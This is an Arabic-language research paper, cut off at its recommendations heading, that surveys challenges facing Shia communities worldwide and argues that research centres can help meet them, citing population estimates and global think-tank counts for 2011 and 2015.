التحديات الشيعية والحاجة الى مراكز الأبحاث والدراسات

      التعليقات على التحديات الشيعية والحاجة الى مراكز الأبحاث والدراسات مغلقة
6 6 20162

 إعداد: الأستاذ المساعد الدكتور خالد عليوي العرداوي**

يحتاج إثبات حاجة الشيعة إلى دور مراكز الأبحاث والدراسات تحديد التحديات التي تواجه أبناء هذه الطائفة في مطلع القرن الحادي والعشرين أولا، ومن ثم تحديد أهمية مراكز الأبحاث والدراسات في مواجهة هذه التحديات ثانيا، لتكون الخلاصة إما تأكيد هذه الحاجة أو نفيها.

المحور الأول: التحديات الشيعية في مطلع القرن الحادي والعشرين

في الأوراق البحثية غالبا ما يتم التطرق إلى الأمور المهمة بطريقة مجملة دون الخوض في القضايا التفصيلية التي تترك إلى الدراسات والبحوث التخصصية اللاحقة، وهذا ما سيتم اعتماده في هذه الورقة البحثية عند الحديث عن التحديات التي تواجه شيعة العالم في الوقت الحاضر، والتي تم تحديد أكثرها إلحاحا وتأثيرا بما يأتي:

الشيعة وتحدي توزيعهم السكاني في العالم

لا يوجد اتفاق حول تحديد رقم دقيق لنسبة الشيعة في العالم، فبين من يحدد عددهم بـ 154–200 مليون نسمة في العالم، بما يعني أنهم يشكلون 10–13% من سكان العالم من المسلمين(1). وبين من يحدد عددهم بأكثر من 400 مليون نسمة، بمعنى أنهم يشكلون ربع سكان العالم من المسلمين بحسب إحصائية منتدى “ليو فورم” للدين والحياة الإنجليزي لعام 2013، التي بينت أن الشيعة ينتشرون في 198 دولة وأن عددهم في بعض الدول يكون على النحو الآتي: (2)

عدد الشيعة فيها

اسم الدولة

أكثر من 80 مليون

إيران

تقريبا 74 مليون

الهند

أكثر من 46 مليون

باكستان

أكثر من 33 مليون

تركيا

أكثر من 26 مليون

العراق

12 مليون

اليمن

15 مليون

أفغانستان

15 مليون

أذربيجان

5 مليون

السعودية

3 مليون

مصر

2 مليون

شمال أفريقيا

2 مليون

غرب أفريقيا

وهناك من يحدد عدد الشيعة بـ 395 مليون نسمة، أي الربع أيضا حسب إحصائيات عام 2000 (3).

ومهما كان عدد الشيعة في العالم فإن نسبتهم كبيرة وتشير إلى أنهم يمثلون طائفة دينية مهمة لا يمكن تجاهلها أو إنكار وجودها. وإذا أردنا أن نضع قائمة تقريبية بالتوزيع السكاني لأبناء هذه الطائفة في دول العالم، سنكتشف أنهم يتواجدون في معظم دول العالم إن لم يكن جميعها، كما مبين في الجدول أدناه، وهو جدول لا يستند إلى بيانات دقيقة وإنما إلى البيانات التي تم الجمع فيها بين ما ورد في دائرة المعارف الحسينية وفقا لدراسة الشيخ الكرباسي، مع ما ورد في موقع الموسوعة الحرة (ويكبيديا)؛ لأن الإحصائيات الواردة في هذين المصدرين تشكلان الأساس لمعظم التحليلات والدراسات المهتمة بمعرفة عدد الشيعة في العالم وكما يأتي:

نسبة الشيعة إلى عدد سكان البلد

البلد

%95-90

إيران

%26

باكستان

6%

الهند

65-70%

العراق

35-40%

اليمن

10-15%

تركيا

65-75%

أذربيجان

2.7%

اندونيسيا

19%

أفغانستان

26-30%

سوريا

17.10%

نيجيريا

20%

السعودية

30-45%

لبنان

7%

تنزانيا

4.05%

عمان

40.23%

الكويت

أكثر من 1%

مصر

10-15% من عدد المسلمين في هذا البلد

ألمانيا

65-75%

البحرين

25-35%

طاجيكستان

10% من عدد المسلمين في هذا البلد

الإمارات العربية المتحدة

10-15% من عدد المسلمين في هذا البلد

الولايات المتحدة الأمريكية

10-15%من عدد المسلمين في هذا البلد

بريطانيا

10-15% من عدد المسلمين في هذا البلد

بلغاريا

7.6%

قطر

3%

اثيوبيا

أقل من 2%

الأردن

3%

اريتريا

2%

افريقيا الوسطى

0.6%

ألبانيا

4%

بروناي

0.25%

بنغلادش

1.5%

بنين

1.5%

بورندي

5%

البوسنه والهرسك

17.4%

تركمانستان

2%

تشاد

1.5%

توغو

2.5%

تونس

1.98%

الجزائر

5%

جزر القمر

6%

جزر المالديف

1.5%

جيبوتي

3%

رواندا

5%

ساحل العاج

7%

السنغال

1.8%

السودان

5%

سيراليون

16%

الشيشان

1%

الصومال

1.4%

الصين

2%

الغابون

5%

غامبيا

2%

غانا

5%

غينيا

4%

غينيا بيساو

2%

فلسطين

20%

قرغيسان

4.5%

كازخستان

4%

الكاميرون

10%

كوسوفو

2.5%

ليبريا

1.5%

ليبيا

5%

مالي

5%

ماليزيا

2.97%

المغرب

10%

مقدونيا

3%

ملاوي

1.5%

موريتانيا

4%

موزامبيق

10%

النيجر

ويستدل من الإحصاءات أعلاه على ما يأتي:

1-   باستثناء أربعة دول هي إيران والعراق والبحرين وأذربيجان، فإن الشيعة يشكلون في بقية الدول أقلية، سواء أكانت أقلية كبيرة لها شأن أم كانت أقلية صغيرة محدودة، وبعض هذه الدول يواجهون فيها مشكلات في التعايش السلمي مع بقية المكونات؛ لأسباب تاريخية أو سياسية يوظف الدين في كثير من الأحيان لتبريرها.

2-   إن هذه النسب في الغالب لا تصمد أمام الطعن؛ لأنها لم تعد بطريقة أكاديمية مبنية على مناهج إحصائية صحيحة، فضلا على تعمد كثير من الدول إلى عدم التطرق إلى تحديد نسب سكانها حسب انتماءاتهم الدينية أو المذهبية؛ لأسباب خاصة تحكم رؤية صانع القرار فيها، مما يخلق صعوبة بالغة في الوصول إلى إحصائيات سكانية دقيقة. وسيجد القارئ أن هناك من يشكك بهذه النسب مستغلا الضعف الأكاديمي في إعدادها، كما هو الحال في الدراسة المتحاملة التي أعدها الباحث (حسن قطامش) تحت عنوان (حقيقة الانتشار الشيعي في العالم: دراسة حول عدد الرافضة في العالم من المصادر الشيعية) (4). لذا فالحاجة إلى بيانات إحصائية موضوعية حول عدد الشيعة في العالم، يتم اختبارها بطريقة علمية منهجية يعد أمرا مفيدا جدا لأبناء هذه الطائفة؛ من أجل المطالبة بحقوقهم وحرياتهم العامة، وفي تحديد حجم حضورهم وتأثيرهم في الرأي العام المحلي والدولي.

3-   انتشار أبناء هذه الطائفة في مساحة جغرافية واسعة جدا تختلف في أنماطها الثقافية والحضارية، وفي لهجاتها ولغاتها المحلية، وفي تحديد أولوياتها ومصالحها الوطنية والقومية، مما يفرض على الشيعة الساكنين في كل دولة خيارات متعددة للتعامل مع واقعهم كل على حدة وحسب متطلباته وظروفه.

الشيعة وتحدي الاندماج والمشاركة

إن واقع الشيعة في مطلع القرن الحادي والعشرين يجعلهم عرضة إلى نوعين من المؤثرات: الأولى مؤثرات حضارية خارجية تفرضها ظروف العولمة بما تنطوي عليه من تقدم تكنلوجي قرب المسافات الجغرافية، وجعَل العالم قرية عالمية، فكسر حدود الدول وأضعَف سيطرة حكوماتها على شعوبها، ووسّع مدارك الأفراد والمجتمعات، وخلق المنافسة بل وأحيانا الصراع العالمي من أجل توفير ظروف اقتصادية وإنسانية أفضل تنتعش فيها الحقوق والحريات. والأخرى مؤثرات داخلية ناجمة عن انهيار أو تخلخل الأطر الاجتماعية والثقافية والاقتصادية والسياسية التقليدية التي حكمت المجتمعات الإسلامية وغير الإسلامية، ولا سيما في قارتي آسيا وافريقيا. تلك الأطر التي كانت تفرض نوعا من الانغلاق الذاتي لمكونات اجتماعية معينة، وقبول بسيادة مكونات اجتماعية أخرى عليها ولحقب تاريخية طويلة، وهذا ما لم يعد قابلا للاستمرار، فلا الحكومات المستبدة بإجراءاتها الصارمة قادرة على إدامة عمل الأطر التقليدية، ولا المكونات الاجتماعية بهوياتها المحلية قابلة بدوام تلك الأطر. والحال أصبحت جميع الهويات سواء أكانت سائدة أم فرعية تطالب بحقوقها وحرياتها وتريد أن تكون شريكة في السلطة والثروة والنفوذ في بلدانها. نعم إن هذه المؤثرات تختلف في عمقها وتأثيرها من مجتمع إلى آخر، ومن فضاء جغرافي إلى آخر، إلا أنها بدأت في جميع دول العالم وستستمر بقوة وزخم أكبر مع التقدم باتجاه المستقبل.

وجود هكذا تحول في البنى الأساسية للدول لا يستثني شيعة العالم، بل إنهم في القلب منه؛ لأسباب كثيرة، مما سيتطلب من أفراد هذه الطائفة إدراك متغيرات العصر للإسراع في الخروج من عزلتهم التاريخية والاجتماعية والسياسية أولا، وامتلاك قيم ومهارات الاندماج مع الآخرين في الدول التي يعيشون فيها ثانيا. وعندما يتحقق هذا الهدف بسلاسة تحفظ حقوق وحريات الطرفين، ستبرز الحاجة إلى امتلاك المؤهلات والمهارات والآليات المناسبة للمشاركة الفاعلة في إدارة السلطة والعملية السياسية في هذه البلدان. إن كلا من الاندماج والمشاركة يشكلان تحديا حقيقيا أمام شيعة العالم لا يمكن التغاضي عنه أو نكرانه أو التقليل من قيمته، ولا سيما أن غالبيتهم يعيش في بلدان تعاني من التوتر والصراع والتأزم السياسي، ومواجهة هذا التحدي والتغلب عليه سيتطلب من الشيعة نخبة وعامة جهدا واعيا، وعملا مضنيا، وآليات تختلف من دولة إلى أخرى.

الشيعة وتحدي التجديد الثقافي الديني

إن واحدا من التحديات المهمة التي تواجه شيعة القرن الحادي والعشرين هو حاجتهم إلى “امتلاك إرادة التجديد في ثقافتهم الدينية، فالثقافة السائدة عندهم أنتجتها أزمنة ماضية، وبيئة كانت تعاني من الأزمات والقهر والضغوط، وهم اليوم يعيشون عصرا جديدا، وأصبحوا قوة مؤثرة يحسب لها حساب في محيطها، فواقعهم تغير إلى الأفضل، والعالم من حولهم تغير كثيرا، لكن مساحة واسعة من الشيعة ما زالوا يصرون على ثقافة الماضي المصبوغة بلون القهر والأسى، وتتحفظ معظم أوساطهم الدينية على محاولات التطوير والتجديد الثقافي”(5). ونرى أن الشيعة لا يحتاجون إلى امتلاك إرادة التجديد الديني فحسب، وإنما بحاجة أيضا إلى تحديد طبيعة هذا التجديد واتجاهه. نعم هناك الكثير من المجددين الشيعة، كالمجدد الشيرازي الأول والثاني وغيرهم، لكن هذا التجديد مشكلته أنه بقي فرديا ينهض به أفراد معدودون، ولم يتحول إلى نشاط مؤسسي، قادر على خلق موجة تجديدية تنهي حالة الجمود الثقافي العامة وتحولها إلى حركة ثقافية شاملة تستطيع في النهاية امتلاك القدرة على القيادة الثقافية المنتجة للنموذج الجذاب الذي يلتف حوله الجميع أو على الأقل الأغلبية، فبقي النموذج في عيون الشيعة أسير التاريخ، والتجديد الثقافي الديني فرديا ينتهي بنهاية حياة المجدد. إن التغلب على هذا التحدي يعد من الأولويات لأي حالة نهوض شيعية في الوقت الحاضر، ويرتكز عليه أي دور مؤثر لهذه الطائفة في بناء البلدان التي تعيش فيها، وفي المشاركة الفاعلة في بناء حضارة إنسانية متجددة ومتطورة ومندفعة بقوة إلى الأمام.

الشيعة وتحدي القيادة

لقد أثبتت الأحداث في إيران والعراق وسوريا واليمن والبحرين والسعودية ولبنان أن الشيعة في الوقت الذي يعانون فيه من مشكلة المواقف المعادية غير المبررة وغير المحسوبة من بعض الأطراف المحلية والإقليمية والدولية، فإنهم في الوقت نفسه، وبدرجة لا تقل في الأهمية – إن لم يكن أعلى – يعانون من مشكلة القيادة (لقد أطلقت على هذه المشكلة في إحدى مقالاتي اسم الخطر من الداخل)، فالقيادات الشيعية في كثير من الأحيان إما تكون منقسمة ومتصارعة فيما بينها، وإما تكون ضعيفة وغير كفوءة ولا تمتلك رؤية استراتيجية لإدارة العمل السياسي، بما يناسب ظروف وحاجات البلد الذي تتواجد فيه، فكانت النتيجة – وخاصة في العراق – إنتاج بعض القيادات الشيعية السياسية الهزيلة والفاشلة والمتورطة في ملفات فساد إداري ومالي كبيرة، وهذا الأمر انعكس سلبا على رؤية أبناء هذه الطائفة لقياداتهم السياسية التي شعروا أنها ليست مؤهلة لتحمل المسؤولية، كما انعكس سلبا على رؤية أبناء الأديان والطوائف الأخرى للدور الشيعي في بناء الدولة. لقد حصل ما حصل، وبالطريقة التي رآها الجميع – وتشمل هذه الحقيقة معظم قيادات الإسلام السياسي في الوقت الحاضر ولا تقتصر على القيادات الشيعية – لأن معظم القيادات لم تمر بالفلاتر المناسبة لإعدادها وتأهيلها، بل جاء أغلبها إلى السلطة فجأة وبآلية لم تكن متوقعة، ولم يحسب فيها حساب اليوم التالي لمسك السلطة، فكان الأداء الضعيف قرين الإعداد الضعيف للقيادة، وعدم استعانتها في كثير من الأحيان بالمؤسسات الاستشارية المناسبة لمساعدتها لحل مشاكلها وإعداد برامجها.

خلاصة القول في هذا التحدي هي: إنه لا نجاح سياسي بلا قيادة حقيقية صالحة ومؤهلة للنهوض بالمسؤوليات الملقاة على عاتقها، ولا وجود لمثل هذه القيادة بدون وجود المؤسسات المناسبة لإعدادها وتقديمها إلى المجتمع.

تحديات أخرى

في حلقة نقاشية نظمها مركز الإمام الشيرازي للدراسات والبحوث في مدينة كربلاء المقدسة، واستضاف فيها أستاذ الفكر السياسي في جامعة بغداد (الدكتور غسان السعد) نجد أن الأخير حدد تحديات أخرى تواجه شيعة العالم هي: (6)

-غياب الأنموذج الحضاري والإنساني الشيعي في مجال العدالة العامة وإدارة الدولة وتطوير العلوم والصناعة والتكنلوجيا؛ لينافس النماذج الفكرية والحضارية الأخرى. ونعتقد أن إيجاد هذا الأنموذج يقترن بخلق التجديد الثقافي الديني، ونقله من إطار الأفراد إلى إطار المؤسسات الكفوءة التي لديها القابلية على التجديد والاستمرار.

– احتدام المواجهة الفكرية والسياسية والأمنية والاقتصادية بين الشيعة ومحيطهم السني؛ لأسباب ليس هنا مجال الخوض فيها. وقطعا ظروف الصراع تقتضي إيجاد الآليات المناسبة لحسمها بشكل آمن يحفظ السلم والأمن الاجتماعيين والدوليين.

– الصراع الشيعي – الشيعي، وقد سبق أن ربطنا وجود هذا الصراع بتحدي القيادة داخل المجتمعات الشيعية.

– البعد الوطني، المرتبط بالخصوصية الوطنية للمواطن الشيعي في البلدان التي يتواجد فيها، وهذه حقيقة ناجمة عن طبيعة التوزيع الجغرافي للشيعة في العالم، وعدم امتلاكهم – باستثناء إيران – لانسجام ثقافي تام في دولة واحدة تحتويهم.

– غياب الهياكل المؤسسية العملية للتنسيق الشيعي على المستوى العالمي.

– غياب الاستراتيجية الخارجية الفعالة في ابراز القضايا الشيعية على المستوى الدولي، المقترن بالعداء غير المبرر للولايات المتحدة الأمريكية. ونعتقد أن هذا التحدي يقترن بتحدٍّ أكبر، هو غياب الرؤية الاستراتيجية للشيعة في إدارة الدولة والحكم، ورسم ملامح العلاقة مع الآخر، وتحديد ثوابت العلاقات الوطنية والدولية.

المحور الثاني: ماهية مراكز الأبحاث والدراسات

لا يمكن إدراك قيمة مؤسسة ما إلا بعد الإحاطة بها؛ لمعرفة أهميتها والأدوار التي تضطلع بها، وهذا هو الحال مع مراكز الأبحاث والدراسات، لذا ستعمل الصفحات القادمة على تقديم بيان مختصر بكنه وأهمية هذا المؤسسات في الحياة المعرفية وبيئة صنع القرار المعاصرة.

تعريف مراكز الأبحاث والدراسات

نتفق في هذه الورقة مع الباحث (خالد وليد محمود) في دراسته القيمة الموسومة (دور مراكز الأبحاث في الوطن العربي: الواقع الراهن وشروط الانتقال إلى فاعلية أكبر) المنشورة من قبل المركز العربي للأبحاث ودراسة السياسات، والتي يرى فيها أن هناك غموضا يحيط بتعريف مراكز الأبحاث والدراسات؛ لأن “تعريف هذه المراكز ما يزال محلّ خلاف؛ نظرا إلى أن معظم المؤسسات والمراكز المنتمية إلى مجال البحث، لا تعد نفسها من صنف الثينك تانك في وثائق تعريف الهوية الذاتية، وإنما تعلن نفسها كمنظمة غير حكومية أو منظمة غير ربحية، لذا يبقى هذا المفهوم فضفاضا، ويحمل أكثر من تعريف؛ بسبب كثرة التفاصيل والحيثيات التي تحيط به، والأبعاد التي تكتنفه”(7). إلا أن غموض التعريف لم يمنع من تقديم تعاريف محددة لهذه المؤسسات البحثية المهمة، فعرفتها مؤسسة راند للأبحاث بأنها “تلك الجامعات أو المعاهد المنظمة بهدف إجراء بحوث مركزة ومكثفة. وهي تقدم الحلول والمقترحات للمشاكل بصورة عامة وخاصة في المجالات التكنلوجية والاجتماعية والسياسية والاستراتيجية”(8)، وعرفها (هوارد ج وياردا) أستاذ العلاقات الدولية في جامعة جورجيا والباحث في مركز ودرو ويلسون في واشنطن بأنها “مراكز للبحث والتعليم، ولا تشبه الجامعات أو الكليات، كما أنها لا تقدم مساقات دراسية، بل هي مؤسسات غير ربحية، وإن كانت تملك منتجا وهو الأبحاث. هدفها الرئيس البحث في السياسات العامة للدولة، ولها تأثير فعال في مناقشة تلك السياسات. كما أنها تركز اهتمامها على التنمية الاقتصادية والاجتماعية، والسياسة العامة، والدفاع والأمن والخارجية، كذلك لا تحاول تقديم معرفة سطحية لتلك المسائل، بقدر مناقشتها والبحث فيها بشكل عميق، ولفت انتباه الجمهور لها”(9). كما تعرف هذه المراكز بأنها: “تجمع وتنظيم لنخبة متميزة ومتخصصة من الباحثين تعكف على دراسة معمقة ومستفيضة لتقدم استشارات أو سيناريوهات مستقبلية يمكن أن تساعد أصحاب القرارات في تعديل أو رسم سياستهم بناءًا على هذه المقترحات في مجالات مختلفة”(10). أو هي “جامعات بلا طلاب، أبحاثها الأكاديمية عالية الجودة، هدفها بيان العواقب المحتملة لاتباع مجموعة من الخيارات في السياسة الخارجية”(11). وإن الصلة التي تربط بين مراكز الأبحاث والدراسات والمسؤولين وصناع القرار، جعلت البعض يصفها بأنها نوادي نصف سياسية ونصف أكاديمية(12).

يستدل من هذه التعاريف على خصوصية مراكز الأبحاث والدراسات؛ لكونها مؤسسات تجمع بين الخبرة، والمهارة، وخصوصية الدور الذي يجعل المجتمعات المتقدمة بأفرادها ومؤسساتها وصانعي القرار فيها لا يستغنون عن وجودها.

التوزيع العالمي لمراكز الأبحاث والدراسات

يمكن توضيح طبيعــة التوزيــــع العالمي لمراكــــز الأبحــــاث والدراسات مــــــن خــــلال الجــداول الآتيــــة: (13)

عدد مراكز الأبحاث في العالم لعام2011  

نسبة المراكز إلى المجموع الكلي في العالم

عدد مراكز الأبحاث

المنطقة

8%

550

افريقيا

18%

1198

آسيا

27%

1795

أوروبا

11%

722

أمريكا اللاتينية والكاريبي

6%

329

الشرق الأوسط وشمال افريقيا

29%

1912

أمريكا الشمالية

1%

39

أوقيانوسيا

100

6545

المجموع

 

عدد مراكز الأبحاث في بعض دول العالم التي فيها العدد الأكبر من المراكز عام 2011

عدد مراكز الأبحاث

اسم الدولة

تسلسل الدول حسب عدد المراكز

1815

الولايات المتحدة

1

425

الصين

2

292

الهند

3

286

المملكة المتحدة

4

194

ألمانيا

5

176

فرنسا

6

137

الأرجنتين

7

112

روسيا

8

103

اليابان

9

97

كندا

10

90

إيطاليا

11

85

افريقيا الجنوبية

12

82

البرازيل

13

66

سويسرا

14

65

السويد

15

60

المكسيك

16

57

هولندا

17

55

إسبانيا

18

54

رومانيا

19

54

إسرائيل

20

53

كينيا

21

52

تايوان

22

52

بلجيكا

23

51

بوليفيا

24

47

أوكرانيا

25

 

عدد مراكز الأبحاث في العالم لعام 2015      

 

 

 6 6 20162

 

وبناء على هذه الاعداد يكون تحديد نسب المراكز البحثية جغرافيا بين قارات العالم بالشكل الآتي:

6 6 20163

 

 

عدد مراكز الأبحاث في بعض دول العالم التي فيها العدد الأكبر من المراكز عام 2015

 

عدد المراكز البحثية

اسم الدولة

تسلسل الدول حسب عدد المراكز

1835

الولايات المتحدة

1

435

الصين

2

288

المملكة المتحدة

3

280

الهند

4

195

ألمانيا

5

180

فرنسا

6

138

الأرجنتين

7

122

روسيا

8

109

اليابان

9

99

كندا

10

97

إيطاليا

11

89

البرازيل

12

86

جنوب افريقيا

13

77

السويد

14

73

سويسرا

15

63

أستراليا

16

61

المكسيك

17

59

إيران

18

59

بوليفيا

19

58

إسرائيل

20

58

هولندا

21

55

إسبانيا

22

54

رومانيا

23

53

كينيا

24

53

بلجيكا

25

 

 

 

ويتضح من خلال هذه الجداول ما يأتي:

 

1-   استمرار التزايد في عدد مراكز الأبحاث والدراسات على مستوى العالم، فقد كان العدد الكلي للمراكز عام 2011 هو (6545) مركزا، فقفز إلى (6846) مركزا عام 2015، مما يدل على استمرار تصاعد الحاجة إلى وجود هذه المؤسسات في العالم المعاصر.

 

2- إن العدد الأكبر من هذه المراكز يتواجد في الدول المتقدمة في الترتيب العالمي لدول العالم، مما يدل على أن هذه المراكز تمثل مؤسسات معرفية يرتبط وجودها بالتقدم العلمي والازدهار الحضاري.

 

3- إن وجود العدد الكبير من المراكز البحثية يعد دليلا على تقدم الدولة وزيادة ثقلها الإقليمي والدولي، والدليل على ذلك أن زيادة وتوسع النفوذ الإيراني إقليميا ودوليا ترافق مع زيادة عدد مراكزها البحثية، فنجد أن إيران كانت غائبة عن قائمة الدول الخمس والعشرين الأولى في عدد المراكز البحثية عام 2011، ولكنها تقدمت بقوة لتحتل المرتبة 18 عام 2015 مع امتلاكها لعدد إجمالي من المراكز البحثية بلغ 59 مركزا، وهذا مؤشر طيب على تقدم هذه الدولة واتساع تأثيرها.

 

 

أهمية مراكز الأبحاث والدراسات

 

تتضح أهمية هذه المراكز من الأدوار المهمة التي تقوم بها في الوقت الحاضر، وهذه الأدوار يمكن إجمالها بما يأتي:( 14)

 

1-   إجراء الأبحاث والدراسات، وتقديم التحليلات المعمقة والمنهجية حول المشكلات والقضايا الساخنة التي تواجه السياسات العامة. وفي ضوء ذلك، لم يعد دور مراكز الأبحاث في المجتمعات الغربية دورا ثانويا، وإنما بات دورا أساسيا في رسم السياسات، وفي ترشيد عملية اتخاذ القرار.

 

2-دعم صناع القرار؛ إذ إن رجل الدولة وصانع القرار بحاجة لمن يبلور له الخيارات، ويوضح له السياسات، ويفصل له القضايا بشكل علمي دقيق. وربما عدت المراكز البحثية هيئات استشارية لتلك الجهة أو لذاك الجهاز الحكومي أو الأهلي؛ لأن مراكز الأبحاث يمكنها أن تقوم بما يأتي:

 

– تحديد الأولويات، ومن شأن ذلك أن يوجه الاهتمام إلى موضوعات معينة في السياسة العامة كالتعليم أو الصحة أو غيرها، فالمراكز البحثية تحدد أولويات التنمية في المجتمع، وتلفت انتباه صانع القرار لها، وتعمل على توجيه الأنظار إلى المعضلات المجتمعية التي تواجهها التنمية المحلية والدولية. كما تسهم في إعادة اكتشاف الطاقات والموارد الجلية والكامنة، وهذا بدوره سيساعد على اكتشاف مسارات جديدة من أجل تنمية سريعة ومتواصلة.

 

– اقتراح البدائل وطرح الخيارات، من خلال طرح الحلول والبدائل المتنوعة، بناء على تقييم السياسات والبرامج المطبقة.

 

– تحديد الكلف العائدة لكل بديل، وتحديد المكاسب المتوقعة من كل بديل.

 

3- تقديم الاستشارات والإرشادات لصانع القرار حول المستجدات العاجلة أو الفورية، ولاسيما القضايا التي تتطلب معرفة متخصصة، وسرعة اتخاذ القرار، وذلك بما توفره من النصائح العملية والبحوث العلمية والتطبيقية واستطلاعات الرأي العام، وبما تملكه من قاعدة بيانات يرجع إليها المسؤولون وصناع القرار كل ما دعت إليه الحاجة.

 

4- لعب دور القناة الإعلامية للمسؤولين الكبار، عندما يعتمدون على بعض مراكز الأبحاث المقربة في إرسال رسائل استباقية أو تعابير فورية أو إشارات دبلوماسية غير مباشرة إلى بعض الأطراف حول قضايا أو أزمات معينة.

 

5-إشاعة روح البحث العلمي، والتعامل مع القضايا بموضوعية، وتعميم ثقافة البحث والتحري والاستدلال، ورعاية المبدعين واكتشافهم، وتوفير الفرصة للراغبين في البحث والتأليف والكتابة، وإقامة جسور التعاون بينهم وبين الجمهور، فضلا على تجسير الفجوة بين المعرفة والتطبيق، وتطوير البحث العلمي ومناهجه وأدواته، بما يتوافق مع احتياجات الدولة والمجتمع والأفراد. كما تقوم هذه المراكز بمتابعة أحدث الدراسات، وترجمة منشورات ومؤلفات تصدر عن المؤسسات والمراكز البحثية في الدول الأخرى، خاصة الدول التي تكون موضع اهتمام خاص.

 

6- قدرة مراكز الأبحاث على القيام بالمسوح الميدانية واستطلاعات الرأي العام التي توفر بيانات ومعلومات ميدانية عن الموضوعات والقضايا المطروحة، ومواقف الرأي العام اتجاه الحلول المتاحة، والتعرف على اتجاهات الرأي العام ومواقفه بعد إعلان الاستراتيجيات والسياسات العامة وتنفيذها، بما يتيح لصناع ومتخذي القرار إدراك نقاط الضعف ومعالجتها بصورة فورية.

 

7- القيام بدور الوسيط بين الحكومات والمجتمع المدني والقطاع الخاص بصورة مباشرة أو غير مباشرة؛ للمشاركة في التوصل إلى حلول واقعية للقضايا المثارة. كما تدخل المراكز كطرف توفيقي بين الأطراف الحكومية المتنازعة والمختلفة؛ لتقريب وجهات النظر المتباينة حول إعداد سياسة معينة. فضلا على كونها قناة اتصال غير مباشرة أو غير رسمية بين كبار صناع القرار في الدولة وبعض الأطراف الخارجية؛ لمعرفة مواقفها، وطروحاتها، وآرائها السياسية، وطبيعة أدوارها واهتماماتها، من خلال المشاركة في أنشطة علمية مشتركة أو دعوة هذه الأطراف إلى الندوات والمؤتمرات التي تعقد بعناية في هذه المراكز.

 

8- اكتشاف المشكلات قبل وقوعها، ومن ثم التهيؤ لمواجهتها أو لقطع الطريق عليها والحيلولة دون وقوعها، إذ تؤدي مراكز الدراسات الاستراتيجية وظائف الإنذار المبكر، والاستعداد المبكر للمستقبل، للتحكم فيه أو على الأقل المشاركة في صنعه، فهذه المراكز تمثل مجسات للاستشعار المبكر، واستقراء المستقبل، وتلعب دورا مهما في عملية التخطيط الاستراتيجي المستقبلي.

 

9- مرافقة خبراء مراكز الأبحاث والدراسات للوفود الرسمية كخبراء في القضايا التي تكون محل نقاش وتفاوض.

 

10- ممارسة دبلوماسية المسار الثاني أو الموازي – وزارة الخارجية تلعب دور المسار الأول – من خلال إرسال بعض خبراء المراكز من قبل مؤسسات حكومية معينة للتفاوض بشأن قضايا محددة، كما حصل في اتفاقية أوسلو، عندما قام تيد لارسون (رئيس معهد أبحاث السلام) في أوسلو بترتيب عملية التفاوض بين الفلسطينيين والإسرائيليين، وكما حصل في قضية جنوب السودان من خلال الدور الذي لعبه جيمي كارتر، وغيرها من القضايا الدولية.

 

11- توفير المواهب والمهارات الإدارية من خلال سياسة الباب الدوار بين المراكز البحثية والمناصب العليا في الدولة، ففي كثير من الأحيان يتم اختيار بعض خبراء المراكز للعمل في المناصب العليا. والعكس صحيح، فكثير من المسؤولين عندما يتركون مناصبهم يذهبون للعمل في المراكز كخبراء أو باحثين أو مستشارين في الإدارة العليا أو مجالس الأمناء، كما هو الحال في الولايات المتحدة الأمريكية.

 

12- تقوم المراكز بدور مهم في عملية تشكيل الرأي العام؛ بسبب دورها المعرفي، وقدرتها على التكتل والضغط لمصلحة فئة معينة أو تحقيق سياسة معينة.

 

 

كيف تسهم مراكز الأبحاث والدراسات في مواجهة التحديات الشيعية

 

بعد أن تحددت التحديات الكبرى التي تواجه شيعة القرن الحادي والعشرين، وتحددت ماهيّة مراكز الأبحاث والدراسات، يمكن القول أن الشيعة بحاجة ماسة لتفعيل وتوسيع عمل هذه المراكز؛ لأن هذه المؤسسات يمكنها أن تحقق لهم ما يأتي:

 

– توفير قاعدة بيانات دقيقة وموثوق بها إلى حد ما بأعداد الشيعة وتوزيعهم الجغرافي في دول العالم المختلفة، وطبيعة المشاكل والصعوبات التي يعانون منها في كل بلد، ومن شأن هذه البيانات أن تكون مفيدة جدا في بيان حجم التأثير الدولي والمحلي لأبناء هذه الطائفة، وتحديد السبل الكفيلة بحماية حقوقهم وحرياتهم من الانتهاك من أي جهة كانت.

 

– تلعب المراكز دورا مهما في المساعدة على مجابهة تحدي الاندماج والمشاركة؛ لما ستوفره من خيارات متعددة للتعامل مع هذا التحدي، ولما توفره من قناة اتصال وساحة تفاوض هادئة تسمح بتجاوز التشنجات والمواقف السياسية والاجتماعية المتعصبة، لترسم رؤية سياسية مستقبلية تسمح بإعادة تشكيل الدول والحكومات بما يتوافق مع مصالح جميع مكوناتها، لتحقيق الأمن والاستقرار والسلام المجتمعي.

 

– إن البيئة البحثية الاستدلالية، والنزعة العلمية التطبيقية، والتركيز المعرفي عالي الجودة، والحرية والاستقلالية العالية في طرح الأفكار والآراء داخل المراكز البحثية، سيسمح لهذا المؤسسات أن تلعب دورا مهما في عملية التجديد الثقافي الديني وبما يتناسب مع حاجات ومتطلبات العصر، في إطار مؤسساتي يضمن التجديد والاستمرارية. إن عملية التجديد هذه تمثل أساسا مهما في عملية الانطلاق الآمن والمؤثر للشيعة نحو المستقبل، ولا يمكنهم الإسهام الفاعل في عملية صناعة مستقبلهم الأفضل بدونها.

 

– عقلنة القيادات، وترشيد قراراتها، وإنتاج القيادات وضمان كفاءتها من الأمور المهمة التي سبق أن بيّنا حاجة الشيعة إليها، وهذا ما يمكن لمراكز البحوث والدراسات أن تقوم به، إذا توفرت الإرادة السياسية لصناع القرار الشيعي في إحداث فرق في المجتمعات التي يحكمونها أو يتشاركون الحكم فيها.

 

– التأثير على الرأي العام المحلي أو الدولي أو إعادة توجيهه باتجاه خدمة القضايا الشيعية، من الأمور المهمة التي تقوم بها مراكز الأبحاث والدراسات، وشيعة اليوم بحاجة إلى ذلك لنفي صفة التعصب والتطرف عنهم، أو للتخلص من ضغط المتعصبين والمتطرفين، أو للمشاركة الفاعلة في بناء دولهم وحضارتهم الإنسانية.

 

– تغليب الفعل الاجتماعي العقلاني – القيمي على الفعل الاجتماعي التقليدي – العاطفي، من المرتكزات المهمة لإعادة بناء الإنسان والمجتمع الشيعي، وهذا يمكن أن يتحقق عندما تسود لغة البحث العلمي، والاستعداد للحوار والتفاوض، وإدراك خيارات الحاضر والمستقبل، والبدائل المتاحة للوصول الآمن للأهداف. ويمكن لكل ذلك أن يتحقق من خلال احترام دور وقيمة مراكز الأبحاث والدراسات.

 

التوصيات

 

إن أبرز التوصيات التي يمكن أن تخرج بها هذه الورقة البحثية هي:

 

